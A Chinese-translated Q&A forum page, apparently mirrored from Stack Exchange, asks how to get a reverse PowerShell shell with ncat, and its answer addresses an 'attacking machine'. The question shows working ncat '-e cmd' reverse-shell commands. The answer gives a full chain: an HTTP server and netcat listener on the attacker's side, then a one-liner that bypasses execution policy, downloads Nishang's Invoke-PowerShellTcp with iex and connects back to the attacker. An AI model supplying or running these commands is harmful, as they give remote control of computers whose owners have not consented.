如何使用 ncat 或 netcat 执行反向“Powershell shell”?

如何使用 ncat 或 netcat 执行反向“Powershell shell”?

我正在使用 ncat 从一台机器到另一台机器执行反向“cmd”shell,并且使用以下命令没有任何问题:

In my machine:         ncat -l 443
In the remote machine: ncat <my ip> 443 -e cmd

并且所有工作都完美无缺,但是,我非常希望执行“powershell”而不是“cmd”,为此我这样做了:

In my machine:         ncat -l 443
In the remote machine: ncat <my ip> 443 -e powershell

但是现在发生了一件奇怪的事情,powershell 提示符被提供给远程机器而不是我的......这是输出:

In my machine: Windows Powershell
               Copyright 2009 Microsoft Corporation. All rights reserverd.   (and it hangs there)
In the remote machine: PS C:\Users\User>      (the shell is actually given to the remote machine)

有没有办法将该提示重新重定向到我的计算机,并在我的计算机上拥有“powershell”shell,就像我对“cmd”shell 所做的那样?我搜索了 stdout 重定向,但无法使其工作 :(

任何帮助都将非常感激。

答案1

Powershell 挂在攻击机器的反向 shell 上的原因可能是它不是完全交互式的。尝试使用基于 PowerShell 的 shell,例如Nishang 的 Invoke-PowerShellTcp。在攻击机器上下载.ps1 脚本,运行一个 HTTP 服务器,让远程主机从中下载脚本,然后在远程机器上下载它。

使用 Python 2 或 Python 3 在攻击机上设置 HTTP 服务器

python -m SimpleHTTPServer [port]
python3 -m http.server [port]

同样在攻击机器上,运行 netcat 监听器:

nc -lnvp [port2]

然后在远程计算机的命令提示符 (cmd) 上运行此命令

powershell.exe -nop -ep bypass -c "iex ((New-Object Net.WebClient).DownloadString('http://[your attacking machine's IP address]:[port1]/Invoke-PowerShellTcp.ps1'));Invoke-PowerShellTcp -Reverse -IPAddress [your attacking machine's IP address] -Port [port2]"

你的 netcat 上捕获的反向 shell 现在应该是完全交互的。

答案2

相关内容